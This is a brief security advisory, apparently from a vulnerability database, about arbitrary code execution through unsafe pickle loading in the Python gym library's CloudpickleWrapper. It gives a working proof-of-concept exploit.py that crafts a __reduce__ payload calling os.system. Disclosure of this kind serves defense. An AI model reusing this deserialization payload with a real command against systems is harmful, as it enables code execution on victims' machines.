gym

vulnerability arbitrary code execution
severity 3.8
language python
registry pypi

Description

OpenAI Gym is a toolkit for developing and comparing reinforcement learning algorithms. This is the gym open-source library, which gives you access to a standardized set of environments.

  • Vulnerability description untrusted loading of data by the pickle.load function leading to Arbitrary code execution.

Proof of Concept

Run exploit.py

import os
import pickle
#os.system('pip3 install gym')
from gym.vector.utils import misc
#payload formation
class ArbitraryCode:
    def __reduce__(self):
        cmd = ('xcalc')
        return os.system, (cmd,)
dumps = pickle.dumps(ArbitraryCode())
misc.CloudpickleWrapper.__setstate__(dumps,dumps)
  • pip3 install gym
  • python3 exploit.py

References